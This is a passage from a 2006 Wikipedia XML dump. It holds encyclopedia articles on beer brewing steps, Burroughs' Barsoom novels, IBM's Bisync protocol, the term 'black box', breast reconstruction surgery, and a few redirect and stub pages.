After the whirlpool, the wort must be brought down to fermentation temperatures before yeast is added. In modern breweries this is achieved through a plate [[heat exchanger]]. A plate heat exchanger has many ridged plates, which form two separate paths. The wort is pumped into the heat exchanger, and goes through every other gap between the plates. The cooling medium, usually water, goes through the other gaps. The ridges in the plates ensure turbulent flow. A good heat exchanger can drop 95 &amp;deg;C wort to 20 &amp;deg;C while warming the cooling medium from about 10 &amp;deg;C to 80 &amp;deg;C. The last few plates often use a cooling medium which can be cooled to below the [[freezing point]], which allows a finer control over the wort-out temperature, and also enables cooling to around 10 &amp;deg;C. After cooling, oxygen is often dissolved into the wort to revitalize the yeast and aid its reproduction.

===Fermenting===

Fermentation, as a step in the brewing process, starts as soon as yeast is added to the cooled wort.   This is also the point at which the product is first called beer. It is during this stage that sugars won from the [[malt]] are metabolized into [[ethanol|alcohol]] and [[carbon dioxide]].  Fermentation tanks come in all sorts of forms, from enormous tanks which can look like [[storage silo]]s, to five [[gallon]] glass [[carboy]]s in a homebrewer's closet. 

Most breweries today use cylindroconical vessels, or CCVs, have a conical bottom and a cylindrical top. The cone's [[aperture]] is typically around 60&amp;deg;, an angle that will allow the yeast to flow towards the cones apex, but is not so steep as to take up too much vertical space. CCVs can handle both fermenting and conditioning in the same tank. At the end of fermentation, the yeast and other solids which have fallen to the cones apex can be simply flushed out a port at the apex.  

Open fermentation vessels are also used, often for show in brewpubs, and in Europe in wheat beer fermentation. These vessels have no tops, which makes harvesting top fermenting yeasts very easy. The open tops of the vessels make the risk of infection greater, but with proper cleaning procedures and careful protocol about who enters fermentation chambers when, the risk can be well controlled.

Fermentation tanks are typically made of stainless steel. If they are simple cylindrical tanks with beveled ends, they are arranged vertically, as opposed to conditioning tanks which are usually laid out horizontally.

A very few breweries still use wooden vats for fermentation as wood is difficult to keep clean and infection-free and must be repitched more or less yearly. 

After high kraeusen a bung device (German: ''Spundapparat'') is often put on the tanks to allow the [[Carbon|C]][[Oxygen|O]]&lt;sub&gt;[[carbon dioxide|2]]&lt;/sub&gt; produced by the yeast to naturally carbonate the beer. This bung device can be set to a given pressure to match the type of beer being produced.    The more pressure the bung holds back, the more carbonated the beer becomes.

===Conditioning===

When the sugars in the fermenting beer have been almost completely digested, the fermentation slows down and the yeast starts to settle to the bottom of the tank. At this stage, the beer is cooled to around freezing, which encourages settling of the yeast, and causes proteins to coagulate and settle out with the yeast. Unpleasant flavors such as phenolic compounds become insoluble in the cold beer, and the beer's flavor becomes smoother. During this time pressure is maintained on the tanks to prevent the beer from going flat.

If the fermentation tanks have cooling jackets on them, as opposed to the whole fermentation cellar being cooled, conditioning can take place in the same tank as fermentation.  Otherwise separate tanks (in a separate cellar) must be employed.

===Filtering===

Filtering the beer stabilizes the flavor, and gives beer its polished shine and brilliance.  Not all beer is filtered. When tax determination is required by local laws, it is typically done at this stage in a calibrated tank.

Filters come in many types.  Many use pre-made filtration media such as sheets or candles, while others use a fine powder made of, for example, [[diatomaceous earth]], also called kieselguhr, which is introduced into the beer and recirculated past screens to form a filtration bed.

Filters range from rough filters that remove much of the yeast and any solids (e.g. hops, grain particles) left in the beer, to filters tight enough to strain color and body from the beer.  Normally used filtration ratings are divided into rough, fine and sterile. Rough filtration leaves some cloudiness in the beer, but it is noticeably clearer than unfiltered beer. Fine filtration gives a glass of beer that you could read a newspaper through, with no noticeable cloudiness.  Finally, as its name implies, sterile filtration is fine enough that almost all microorganisms in the beer are removed during the filtration process.

====Sheet (pad) filters====
These filters use pre-made media and are relatively straightforward. The sheets are manufactured to allow only particles smaller than a given size through, and the brewer is free to choose how finely to filter the beer. The sheets are placed into the filtering frame, sterilized (with hot water, for example) and then used to filter the beer. The sheets can be flushed if the filter becomes blocked, and usually the sheets are disposable and are replaced between filtration sessions. Often the sheets contain powdered filtration media to aid in filtration.

It should be kept in mind that pre-made filters have two sides. One with loose holes, and the other with tight holes. Flow goes from the side with loose holes to the side with the tight holes, with the intent that large particles get stuck in the large holes while leaving enough room around the particles and filter medium for smaller particles to go through and get stuck in tighter holes.

Sheets are sold in nominal ratings, and typically 90% of particles larger than the nominal rating are caught by the sheet.

====Kieselguhr filters====
Filters that use a powder medium are considerably more complicated to operate, but can filter much more beer before needing to be regenerated. Common media include [[diatomaceous earth]], or kieselguhr, and [[perlite]].

===Packaging===

Packaging is putting the beer into the containers in which it will leave the brewery.  Typically this means in bottles and [[keg]]s, but it might include bulk tanks for high-volume customers.



== See also == 
{{wikibooks|Brewing}}
* [[distilling]].  
* The word ''[[zymurgy]]'' is sometimes used as a generic term for brewing, [[wine|winemaking]] and distilling.
* [[Brewery#The Brewing Process]]
* [[Homebrewing|Homebrew]]
* [[History of beer]]
* [http://en.wikibooks.org/wiki/Brewing Wikibooks - How To - Brewing]
* [[Mead]], honey mead and meadmaking


[[Category:Beer]]
[[Category:Brewing]]

{{commonscat|Beer-Brewing}}

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[[sv:Ölframställning]]</text>
    </revision>
  </page>
  <page>
    <title>Barsoom series</title>
    <id>4411</id>
    <revision>
      <id>41979537</id>
      <timestamp>2006-03-03T00:39:26Z</timestamp>
      <contributor>
        <username>LtPowers</username>
        <id>749490</id>
      </contributor>
      <minor />
      <comment>/* The movie */ disambiguate link</comment>
      <text xml:space="preserve">[[Image:Princess_of_Mars.jpg|frame|right|''A Princess of Mars'' by [[Edgar Rice Burroughs]], [[McClurg]], [[1917]]]]

In [[1911]], [[Edgar Rice Burroughs]], now better known as the creator of the character [[Tarzan]], began his writing career with ''A Princess of Mars'', a rousing tale of [[Pulp magazine|pulp]] adventure on the planet '''Barsoom''' or [[Mars]]. Several sequels followed.

==John Carter==
The novels tell of earthman '''John Carter''', an Earthman mysteriously transported to the planet Mars by a form of [[astral projection]]. There, on the world its natives call Barsoom, he encounters both formidable alien creatures resembling the beasts of ancient myth and various humanoids. Carter is the protagonist of the first three novels, as well as the seventh, tenth and eleventh, and a major secondary character in the fourth and ninth novels. Other books tell the stories of several of his descendants, other native Martians, and another Earthman transported to Barsoom by the same means as Carter.

===As mortals knew him===
Carter stood 6&amp;#8242;2&amp;#8243; tall and had close-cropped black hair and steel-gray eyes. His character and courtesy exemplified the ideals of the [[antebellum]] [[U. S. Southern States|South]]. A [[Virginia|Virginian]] who served as a captain in the [[American Civil War]], he struck it rich by finding gold in [[Arizona]] after the end of hostilities.

While hiding from [[Apache Tribe|Apache]]s in a cave, he found himself mysteriously transported to [[Mars]], where he subsequently had many adventures. The less intense [[gravity]] of Mars compared to [[Earth]] gave him [[demigod]]-like [[strength]].

Mysteriously transported back to Earth, he spent the last years of his life on Earth in a small [[cottage]] on the [[Hudson River]] in [[New York]]. He died there on [[March 4]] [[1886]].

===The immortal being===
Burroughs portrays John Carter as an immortal being. In the opening pages of ''A Princess of Mars'', the author reveals to the reader that Carter can remember no childhood, having always been a man of about thirty years old. Many generations of families referred to him as &quot;Uncle Jack,&quot; but he always lived to see all the members of the families grow old and die, while he remained young. After travelling to Mars, he seemed to find his true calling in life as a warrior-savior of the planet's inhabitants.

His &quot;death&quot; actually represents leaving his inanimate body behind on Earth while he travelled about Mars in an identical body. Carter revealed that he mastered the process of travelling to and from Earth and Mars and could travel between the two at will. Accordingly, his Earth body lies in a special tomb that can only be opened from the inside.

==Barsoom==
===Environment===
While Burroughs' Barsoom tales never aspired to being anything other than exciting escapism, his vision of Mars was loosely inspired by [[Astronomy|astronomical]] speculation of the time, especially that of [[Percival Lowell]], that pictured the planet as a formerly [[Earth]]like world now becoming less hospitable to life. Once a wet world with continents and oceans, Barsoom's seas gradually dried up, leaving it a dry planet of highlands interspersed with moss covered dead sea bottoms. [[Lost city|Abandoned cities]] line the former coastlands. The last remnants of the former bodies of water are the '''Great Toonoolian Marshes''' and the [[antarctic]] '''Lost Sea of Korus'''. Modern Barsoomians redistribute scarce water supplies in a worldwide system of [[Martian canals|canals]], controlled by quarreling city-state empires based on the concentrations of population at their junctures. The thinning Martian atmosphere is artificially replenished from an &quot;atmosphere plant&quot; on whose smooth functioning all life on the planet is dependent.

Burroughs derived his concept of the [[Martian canals]] from the theories of Lowell and his predecessor [[Giovanni Schiaparelli]]. The few coordinates provided for Burroughs' canals differ from theirs, as their own differ from each other; in fact, most of the linear channel-like features Schiaparelli and Lowell mapped have been proven illusory. Some of Barsoom's other major physical features do correspond to [[albedo features]] of Mars known at the time, flipped upside-down in reflection of the images of the planet as seen through telescopes. For instance, Burroughs' snow-covered '''Artolian Hills''' can be roughly equated to the bright feature [[Hellas Planitia|Hellas]] (actually a huge [[impact crater]]), and the '''Great Toonoolian Marshes''' to the dark feature represented by the [[Valles Marineris]].

===Peoples and culture===
The dominant culture of Barsoom is that of the humanoid '''Red Martians ''' who are organized into a system of major city-state empires such as '''Helium''' and '''Ptarth''' which control the planet-wide canals, as well as other, more isolated city-states in the hinterlands. Some of these are effectively lost cities, permitting Burroughs to utilize Barsoom as a stage for the same kind of [[Lost World (genre)|lost race]] yarns he favored in earthly settings. The Red people are the interbred descendants of the ancient '''White Martians''', '''Yellow Martians''' and '''Black Martians''', remnants of which continue to persist in isolated areas of the planet, particularly its poles. All of these races resemble ''[[human|Homo sapiens]]'' in almost every respect except that they reproduce [[Egg (biology)|oviparous]]ly.

The humanoid Martians are harrassed and preyed upon by the semi-nomadic '''Green Martians''', a separate species with four arms and tusks who stand approximately four meters tall. The Green Martians are organized into loose hordes ranging over the dead sea bottoms, each horde taking its name from that of a dead city in its territory, such as '''Thark''' and '''Warhoon'''. 

Barsoomians generally display warlike and honor-bound characteristics. The technology of the tales runs the gamut from dueling sabers to &quot;radium pistols&quot; and aircraft, with the discovery of powerful ancient devices or research into the development of new ones often forming plot devices. The natives also eschew clothing other than jewelry, providing a stimulating subject for illustrators of the stories.

===Fauna===
Animal life is more varied than on Earth; [[arthropods]] (including both [[spiders]] and [[insects]]), [[fish]], [[reptiles]] (including both [[lizards]] and [[snakes]]), and [[birds]] are known, but most are rare and poorly described. It should not be assumed that these creatures are precisely equivalent to their terrestrial analogs; Barsoomian &quot;spiders,&quot; for instance, while web-spinning arthropods, have twelve legs, which grow out of their backs. The intelligent, [[crustacean]]-like '''Kaldanes''' are presumably related.

Representatives of other terrestrial-type animals can be briefly enumerated. The '''Sith''' is a giant, venomous hornet-like insect endemic to the Kaolian Forest. Reptiles are described as repulsive and usually poisonous, and include the '''Darseen''', a chameleon-like reptile, the '''Silian''', an Antarctic sea-monster found in the Lost Sea of Korus, and a kind of giant lizard able to consume a human being in one bite. Birds are said to be brilliantly plumed, but the only species described is the enormous '''Malagor''', endemic to the Great Toonolian Marshes.

More common are the many-legged species of large animals unique to Barsoom, some of which sport fur or tufts of hair, making them apparently analogous to Earth [[mammals]]. A few are fully analogous, bearing only four limbs; these include the '''Apt''', a large white-furred [[arctic]] creature with a hippopotomus-like head, walrus-like tusks, and faceted, insect-like eyes, the '''Plant Men''', blue-skinned, one-eyed monsters found in the [[Antarctic]] Valley of Dor, the '''Rykors''', headless but otherwise human-like creatures bred by the Kaldanes, and of course all the human races of Barsoom.

There is also a group of six-limbed creatures, consisting of the '''Sorak''', the Barsoomian &quot;[[cat]],&quot; a small, domesticated animal, the '''White Ape''', huge and ferocious, semi-intelligent [[gorilla]]-like creatures whose middle limbs, like those of the Green Martians, can be used as either arms or legs, and of course the Green Martians themselves.

Eight-limbed beasts include the herbivourous '''Thoat''', or Barsoomian &quot;[[horse]].&quot; The Greater Thoat is used as a mount by the Green Martians and stands about ten feet at the shoulder; the Lesser Thoat bred by the Red Martians is the size of a large horse. The Thoat is described as a slate-colored animal, with a white underside and yellow lower legs and feet. The huge '''Zitidar''', used as a draft animal, is possibly a larger relative of the Thoat, but is not well enough decribed in the literature to be certain.

Ten Limbed animals include (possibly) the '''Ulsio''' or Barsoomian &quot;[[rat]],&quot; described as a &quot;many-legged,&quot; dog-sized burrower; the '''Calot''', or Barsoomian &quot;[[dog]],&quot; a large beast with a frog-like mouth and three rows of teeth (easily the most famous of which was John Carter's own Calot, Woola), and the '''Banth''', or Barsoomian &quot;[[lion]],&quot; which has a hairless, yellow hide, a maned neck, and many rows of teeth in a wide mouth.

Some Martian creatures are difficult to classify based on the available descriptions; in addition to the Zitidar and the Ulsio these would include the '''Orluk''', an arctic predator with a black and yellow striped coat, whose legs are not enumerated.

==The series==
*''[[A Princess of Mars]]'' ([[1917]])
*''[[The Gods of Mars]]'' ([[1918]])
*''[[The Warlord of Mars]]'' ([[1919]])
*''[[Thuvia, Maid of Mars]]'' ([[1920]])
*''[[The Chessmen of Mars]]'' ([[1922]])
*''[[The Master Mind of Mars]]'' ([[1928]])
*''[[A Fighting Man of Mars]]'' ([[1931]])
*''[[Swords of Mars]]'' ([[1936]]) 
*''[[Synthetic Men of Mars]]'' ([[1940]]) 
*''[[Llana of Gathol]]'' ([[1948]])
*''[[John Carter of Mars (novel)|John Carter of Mars]]'' ([[1964]])

==The comic strip==
With the [[Tarzan]] [[comic strip]] a popular success, newspapers began a comic strip adaptation of ''A Princess of Mars'' drawn by Edgar Rice Burroughs' son, [[John Coleman Burroughs]]. Never as popular as Tarzan, it ran in only four Sunday newspapers, from [[December 7]] [[1941]] to [[April 4]] [[1943]].

John Carter appeared in one of the last Sunday Tarzan comic strip stories, drawn by [[Gray Morrow]].

==The comic books==
The [[comic book]] ''[[The Funnies]]'' included a John Carter serial drawn by John Coleman Burroughs, which ran for 23 issues. Then, in 1952, [[Dell Comics]] published three John Carter comic books, adapting the first three books, drawn by [[Jesse Marsh]], who was the Dell Tarzan artist at the time. They were numbered [[Four Color Comics]] 357, 437, and 488. They were later reprinted by the successor of Dell, [[Gold Key Comics]] as ''John Carter of Mars'' #1-3. [[DC Comics]] published John Carter as a backup feature in its ''Tarzan'' series, issues 207 — 209, after which it was moved to ''[[Weird Worlds]]'', sharing main feature status alongside an adaptation of Burroughs' &quot;[[Pellucidar]]&quot; stories in issues 1 — 7; it again became a backup feature in ''[[Tarzan Family]]'' 62 — 64. (A non-John Carter Barsoom story also appeared in ''Tarzan Family'' issue 60.)  [[Marvel Comics]] began a John Carter series in 1977, which lasted for 27 issues (and saw three annuals published). In the [[Tarzan]] [[comic strip]], in 1995, writer [[Don Kraar]] set a story on [[Barsoom]] featuring Tarzan, David Innes, and John Carter. John Carter also made a notable cameo in the second [[League of Extraordinary Gentlemen]] series written by [[Alan Moore]] and published by [[DC comics]].

==The movie==
The [[film]], ''[[John Carter of Mars (film)|John Carter of Mars]]'', is in pre-production by [[Paramount Pictures]]. It is tentatively scheduled for release in [[2006 in film|2006]]. [[Jon Favreau]] has been signed to direct this movie, taking over from [[Kerry Conran]]. The original script by Mark Protosevich was re-written by Ehren Kruger. Reportedly, however, Favreau is selecting a new writer to bring the script back closer to the original work.

For multiple decades, one movie-maker after another (including [[Bob Clampett]], [[Ray Harryhausen]] and [[The Walt Disney Company]]) has attempted to bring Burroughs' Mars to the screen. So far, none has been successful.

==Legacy==
The tales seem somewhat dated today, but they showed great innovation for the time of writing, and the exciting stories caught the interest of many readers, helping to inspire serious interest in Mars and in space exploration. ''[[A Princess of Mars]]'' was possibly the first fiction of the [[20th century]] to feature a [[constructed language]]; although &quot;Barsoomian&quot; was not particularly developed, it did add verisimilitude to the narrative.

Many later science fiction works, from the [[Flash Gordon]] and [[Buck Rogers]] [[serial|films]] of the [[1930s]], to [[Ray Bradbury]]'s ''[[The Martian Chronicles]]'', to the ''[[Star Wars]]'' films, to the [[Mars trilogy]] of [[Kim Stanley Robinson]], also offer nods in Burroughs's direction. [[Robert A. Heinlein]]'s novel ''[[The Number of the Beast (novel)|The Number of the Beast]]'' and [[Alan Moore]]'s graphic novels of ''[[The League of Extraordinary Gentlemen]]'' directly reference Barsoom. [[DC Comics]] character [[Adam Strange]]'s method of transportation, the Zeta Beam, recalls the way Carter is transported to Mars. In [[L. Sprague de Camp|L. Sprague de Camp's]] story &quot;Sir Harold of Zodanga&quot; Barsoom is recast as a [[Parallel universe|parallel world]] visited by his dimension-hopping hero [[Harold Shea (fictional series)|Harold Shea]]. De Camp accounts for Burrough's departures from physics or logic by portraying both Burroughs and Carter as having a tendency to exaggerate in their storytelling, and Barsoomian technology as less advanced than usually presented.

Many believe that Burroughs was influenced to write his Martian stories by [[Edwin L. Arnold]]'s Gulliver of Mars. This has been disputed but what is not in dispute is the number of series and novels inspired by Burroughs' Mars books: the Radio Planet trilogy by [[Ralph Milne Farley]], the Mars and Venus novels by [[Otis Adelbert Kline]], ''Almuric'' by [[Robert E Howard]], ''Warrior of Llarn'' and ''Thief of Llarn'' by [[Gardner Fox]], ''Tarzan on Mars'', ''Go-Man'' and ''Thundar, Man of Two Worlds'' by [[John Bloodstone]], the Michael Kane trilogy by [[Michael Moorcock]], the [[Gor]] series by [[John Norman]], the Jandar of Callisto series and the Green Star series by [[Lin Carter]], ''Goddess of Ganymede'' and ''Pursuit of Mars'' by [[Mike Resnick]], and the Dray Prescot series by [[Kenneth Bulmer|Alan Burt Akers (Kenneth Bulmer)]]. In addition, [[Leigh Brackett]], [[Andre Norton]], [[Marion Zimmer Bradley]], and [[Alan Dean Foster]] show signs of Burroughs' influence in their development of alien cultures and worlds.

The John Carter books enjoyed another wave of popularity in the [[1970s]], with [[Vietnam War]] veterans who said they could identify with Carter, fighting in a war on another planet.

==Copyright==
The American [[copyright]] of the five earliest novels has expired in the United States, and they appear on a number of free e-text sites. However, because they were separately copyrighted in Great Britain, these works remain protected under the Berne Copyright Convention in the U.K. and throughout much of the world.
The Australian copyright of the remainder, not including John Carter of Mars (1964), has also expired and they too appear online.

==External links==
* [http://www.Tarzan.com/ Official Edgar Rice Burroughs Web Site]
* [http://www.Tarzan.org/  Worlds of Edgar Rice Burroughs]
* [http://www.ERBzine.com/ Edgar Rice Burroughs Tribute and Weekly Webzine Site]
* [http://www.erbzine.com/mag13/1351.html A Guide to the Mars Novels of Edgar Rice Burroughs]
* [http://www.erblist.com/abg/ A Barsoom Glossary]
*{{isfdb series|id=Barsoom|title=Barsoom}}
*{{gutenberg|no=62|name=A Princess of Mars}}
*{{gutenberg|no=64|name=The Gods of Mars}}
*{{gutenberg|no=68|name=Warlord of Mars}}
*{{gutenberg|no=72|name=Thuvia, Maid of Mars}}
*{{gutenberg|no=1153|name=The Chessmen of Mars}}
* The Master Mind of Mars (1927) [http://gutenberg.net.au/ebooks01/0100201.zip Zip file] [http://gutenberg.net.au/ebooks01/0100201.txt Text file] at [[Project Gutenberg Australia]]
* A Fighting Man of Mars (1930) [http://gutenberg.net.au/ebooks01/0100211.zip Zip file] [http://gutenberg.net.au/ebooks01/0100211.txt Text file] at [[Project Gutenberg Australia]]
* Swords of Mars (1934) [http://gutenberg.net.au/ebooks01/0100221.zip Zip file] [http://gutenberg.net.au/ebooks01/0100221.txt Text file] at [[Project Gutenberg Australia]]
* Synthetic Men of Mars (1940) [http://gutenberg.net.au/ebooks01/0100231.zip Zip file] [http://gutenberg.net.au/ebooks01/0100231.txt Text file] at [[Project Gutenberg Australia]]
* Llana of Gathol (1948) [http://gutenberg.net.au/ebooks01/0100241.zip Zip file] [http://gutenberg.net.au/ebooks01/0100241.txt Text file] at [[Project Gutenberg Australia]]
There is a board for the Paramount endeavor at the [http://www.imdb.com/title/tt0401729/ Internet Movie Database] as well as an [http://www.johncartermovie.com unofficial fan site].

&lt;!-- The below are interlanguage links. --&gt;

[[Category:1920 books]]
[[Category:Edgar Rice Burroughs]]
[[Category:Fantasy novels]]
[[Category:Fantasy series]]
[[Category:Fictional planets]]
[[Category:Fictional universes]]
[[Category:Mars in fiction]]
[[Category:Science fiction series]]
[[Category:Space opera]]

[[de:John Carter vom Mars]]
[[it:John Carter di Marte]]</text>
    </revision>
  </page>
  <page>
    <title>Binary Synchronous Transmission</title>
    <id>4412</id>
    <revision>
      <id>23826275</id>
      <timestamp>2005-09-23T12:07:42Z</timestamp>
      <contributor>
        <username>Luc4</username>
        <id>325303</id>
      </contributor>
      <comment>Added framing description for the protocol</comment>
      <text xml:space="preserve">'''Binary Synchronous Transmission''' ('''Bisync''') is an [[International Business Machines|IBM]] [[link protocol]], developed in the [[1960]] and popular in the [[1970s]] and [[1980s]]. 

Binary Synchronous Transmission has been largely replaced in IBM environments with [[SDLC]]. Bisync was developed for batch communications between a [[System 360]] [[mainframe]] and the [[IBM 2780]] and [[IBM 3780]] [[Remote Job Entry]] (RJE) terminals. It supports RJE and on-line terminals in the &lt;nowiki&gt;CICS/VSE&lt;/nowiki&gt; environment. It operates with [[EBCDIC]] or [[ASCII]] [[character set|character sets]]. It requires that every message be acknowledged (ACK) or negatively acknowledged (NACK) so it has high transmission overhead. It is typically character oriented and [[duplex (telecommunications)|half-duplex]], although some of the bisync protocol flavours or dialects support binary transmission and [[duplex (telecommunications)|full-duplex]] operation.

== Framing ==
Bisync uses a framing approach [[Byte oriented]]. The beginning of a [[frame]] is signalled by spacial character SYN (synchronization). The body of the frame is wrapped between two special sentinel characters: STX (start of text) and ETX (End of text). The beginning of the header is signalled by the special sentinel SOH (Start of header). It is possible that the body contains the special character ETX. In that case it would be a problem to transmit the correct frame. The solution is known as [[character stuffing]]. Another special sentinel DLE (Data link escape) is transmitted before every occurrence of ETX. This way ETX is transmitted as being part of the message to be sent. With the same behaviour the protocol can transmit DLE characters in the body of the frame.

== References ==
{{FOLDOC}}

[[Category:Link protocols]]</text>
    </revision>
  </page>
  <page>
    <title>Black box (systems)</title>
    <id>4413</id>
    <revision>
      <id>41829563</id>
      <timestamp>2006-03-02T00:40:01Z</timestamp>
      <contributor>
        <username>Treesmill</username>
        <id>428736</id>
      </contributor>
      <comment>link adjusted</comment>
      <text xml:space="preserve">:''For other meanings of '''Black Box''', see [[Black box]].''

[[Image:Black_box.jpg|thumb]]

'''Black box''' is technical [[jargon]] for a device or system or object when it is viewed primarily in terms of its input and output characteristics.  Almost anything might occasionally be referred to as a black box, e.g., a [[transistor]], the [[Internet]].  Some other common uses are:
* In [[electronics]], a sealed piece of replaceable equipment&amp;mdash;see '''[[line-replaceable unit]]'''.
* In [[computer programming]] and [[software engineering]], '''[[black box testing]]''' is used to check that the output of a program is as expected given certain inputs.  The term ''black box'' is used because the actual program being executed is not examined.
* In [[computing]] in general, a &quot;black box program&quot; is one where the user cannot see its inner workings (i.e.: is a [[closed source]] program)
* In [[physics]], a &quot;black box&quot; is a system whose internal structure is unknown, or need not be considered for a particular purpose.  Sometimes &quot;black box&quot; is used as a synonym for [[black body]].
* In [[copyright law]], a single-purpose device which decrypts [[satellite television]] signals without authorization, which removes [[Macrovision]] coding, or which otherwise serves to defeat a broadcaster's or copyright holder's policy is sometimes known as a &quot;black box&quot;; the purpose of the [[anticircumvention]] provisions of the [[Digital Millennium Copyright Act]] was sometimes characterized as removing these &quot;black boxes&quot; from the market.
* A limiting case in [[mathematical model]]ling.
* In [[philosophy]] and [[psychology]], the [[behaviorism]] sees the human mind as a black box, see [[black box theory]].
The opposite of a ''black box'' -- a system where the innards are available for inspection (e.g. a [[free software]]/[[open-source software|open source]] program) is sometimes known as a [[White box (software engineering)|white box]], a glass box, or a clear box.

[[Category:Terms]]

[[ar:صندوق أسود (علم السيبرنيتيك)]]
[[de:Black Box (Kybernetik)]]
[[sl:Črna škatla]]
[[sv:Svart låda]]
[[ta:கறுப்புப் பெட்டி]]
[[zh:黑箱]]</text>
    </revision>
  </page>
  <page>
    <title>Belly Dance</title>
    <id>4414</id>
    <revision>
      <id>15902684</id>
      <timestamp>2002-04-24T19:49:37Z</timestamp>
      <contributor>
        <username>Lee Daniel Crocker</username>
        <id>43</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Belly dance]]
</text>
    </revision>
  </page>
  <page>
    <title>Basque Fatherland and Liberty</title>
    <id>4415</id>
    <revision>
      <id>15902685</id>
      <timestamp>2002-06-04T03:58:47Z</timestamp>
      <contributor>
        <username>Jeronimo</username>
        <id>108</id>
      </contributor>
      <comment>redirect to ETA - it is commonly known as such, even the article says</comment>
      <text xml:space="preserve">#REDIRECT [[ETA]]
</text>
    </revision>
  </page>
  <page>
    <title>Benz</title>
    <id>4417</id>
    <revision>
      <id>39069819</id>
      <timestamp>2006-02-10T14:28:56Z</timestamp>
      <contributor>
        <username>MarkGallagher</username>
        <id>128976</id>
      </contributor>
      <comment>rm link to deleted article</comment>
      <text xml:space="preserve">'''Benz''' can refer to:

*[[Karl Benz]], a German automobile [[engineer]]
*[[Mercedes-Benz]], a brand of [[automobiles]] and trucks
*[[Spragga Benz]], a [[reggae]] artist

{{disambig}}

[[de:Benz]]
[[ja:&amp;#12505;&amp;#12531;&amp;#12484;]]</text>
    </revision>
  </page>
  <page>
    <title>Breast reconstruction</title>
    <id>4419</id>
    <revision>
      <id>38667510</id>
      <timestamp>2006-02-07T21:31:51Z</timestamp>
      <contributor>
        <username>WhyBeNormal</username>
        <id>256949</id>
      </contributor>
      <minor />
      <comment>/* See also */</comment>
      <text xml:space="preserve">'''Breast reconstruction''' is the rebuilding of a [[breast]], usually in [[woman|women]].  It involves using existing flesh or [[prosthesis|prosthetic]] material to construct a natural-looking breast.  Often this even includes the reformation of a natural-looking [[areola]] and [[nipple]].  This procedure may involve the use of [[breast implant|implants]].

==Overview==

Though this procedure was recently out of the question after [[surgery|surgical]] procedures such as [[mastectomy]], this type of [[cosmetic surgery]] is becoming more common.  Though most health plans cover the cost for this operation in the [[United States|US]], some do not, considering it to be cosmetic; paying for this procedure oneself may be very costly.  However, most plans do cover this procedure as the cost may outweigh the converse cost of [[Psychotherapy|counseling]] for the individual as they try to cope with the emotional adjustment of losing a breast.

For individuals who have undergone a mastectomy due to [[cancer]], they are only eligible for this procedure if the disease was eliminated due to the breast removal.  It is possible for this procedure to be carried out immediately following the mastectomy, so the individual awakes with the newly formed breast already in place.  As with many other procedures, those with [[high blood pressure]], [[obesity|obese]] individuals or those who [[Tobacco smoking|smoke]] are poor candidates for this operation.

Breast reconstruction is a large undertaking.  Most procedures take several operations.  Sometimes these follow-up surgeries are spread out over weeks or months.  If an implant is used, the individual runs the same risks and complications as those who use them for [[breast augmentation]].

==Techniques==

There are many methods for breast reconstruction.  The two most common are:

*'''Skin expansion'''  By far the most common method, the surgeon inserts a small balloon expander beneath the skin and periodically, over weeks or months, injects a [[saline (medicine)|saline]] solution to slowly expand the overlaying [[skin]] (see [[tissue expansion]]).  Once the expander has reached an acceptable size, it may be removed and replaced with a more permanent implant.  Reconstruction of the [[areola]] and [[nipple]] are performed in a separate operation after the skin has stretched to its final size.
*'''Flap reconstruction''' The second most common procedure uses tissue from other parts of the patient's body, such as the [[back]], [[buttocks]], [[thigh]] or [[abdomen]].  This procedure may be performed by leaving the donor tissue connected to the original site to retain its blood supply (the vessels are tunnelled beneath the skin surface to the new site) or it may be cut off and new blood supply may be connected.  This procedure has the downside of leaving scar tissue in both the donor and breast area, but avoids the risks of breast implants.  Flaps generally tolerate [[radiotherapy]] better than implants which tend to develop capsule when irradiated. 
 
The [[latissimus dorsi]] muscle is the donor available on the back. It is a large flat muscle which can be employed without loss of function.  It can be moved into the breast defect still attached to its blood supply under the arm pit (axilla).  The amount of tissue available is not enough to reconstruct a large breast so an implant may be required as well.

The abdominal flap for breast reconstruction is the TRAM flap or its technically distinct variant the DIEP flap.  Both use the tummy bulge between the belly button and the pubic hair.  The DIEP always, and the TRAM usually requires microsurgical techniques.  Both can provide loads of tissue to reconstruct large breasts. The contour of the lower abdomen is reliably improved by these procedures which remove the same tissue as and [[abdominoplasty]] (tummy tuck.)

*'''Nipple Reconstruction''' Nipple reconstruction is usually delayed until after the breast mound reconstruction is completed so that the positioning can be planned precisely.  Usually a nipple is made from local tissue and a skin graft is used for the areola.  The new areola will require tattooing to get colour match with the other side.
*'''The other breast''' One of the challenges in breast reconstruction is to match the reconstructed breast to the mature breast on the other side (often fairly 'ptotic' - droopy.) This often requires a lift ([[mastopexy]]) or [[breast reduction|reduction]] of the other breast.  Occasionally women may request an [[breast augmentation|augmentation]] of the other breast at the same time as their cancer reconstruction.

==Follow-up==

Recovery from skin expansion is generally faster than with flap reconstruction, but both take three to six weeks to recover from and both require follow-up surgeries in order to construct a new areola and nipple.  Most [[scar]]s will not disappear completely, but the better the quality of the reconstruction, the less noticeable and distracting the scars will be.  All recipients of these operations should refrain from strenuous [[sport]]s, overhead lifting and [[human sexual behavior|sexual activity]] during the recovery period (three to six weeks).

==See also==
* [[Breast reduction]]
* [[Breast implant]]

==External links==
*[http://www.plasticsurgery.org/public_education/procedures/BreastReconstruction.cfm ''Breast Reconstruction Following Breast Removal''] from the American Society of Plastic Surgeons
*[http://aboutplastic.surgery.uiowa.edu/surgery/plastic/brecon.html In-depth breast reconstruction discussion] from the University of Iowa
*[http://www.phudson.com/BREASTRECON/recofaq.html A breast reconstruction FAQ]

[[Category:Plastic surgery]]
[[Category:Breast]]
[[Category:Gynecology]]
[[nl:Borstvergroting]]
[[zh:胸部重建]]</text>
    </revision>
  </page>
  <page>
    <title>Bob Diamond</title>
    <id>4424</id>
    <revision>
      <id>37788939</id>
      <timestamp>2006-02-02T03:42:32Z</timestamp>
      <contributor>
        <username>Crystallina</username>
        <id>429935</id>
      </contributor>
      <minor />
      <comment>[[Wikipedia:WikiProject Stub sorting|You can help!]]</comment>
      <text xml:space="preserve">'''Robert &quot;Bob&quot; Diamond''' is an engineer, [[urban exploration|urban explorer]], and historical Brooklyn transit advocate.

He rediscovered the [[Atlantic Avenue Tunnel]] in [[1981]] and began the [[Brooklyn Historic Railway Association]] in [[1982]]. Its building in Red Hook serves as the [[Brooklyn Trolley Museum]].

{{US-engineer-stub}}
{{tram-stub}}
{{explorer-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Brooklyn Historic Railway Association</title>
    <id>4425</id>
    <revision>
      <id>29702790</id>
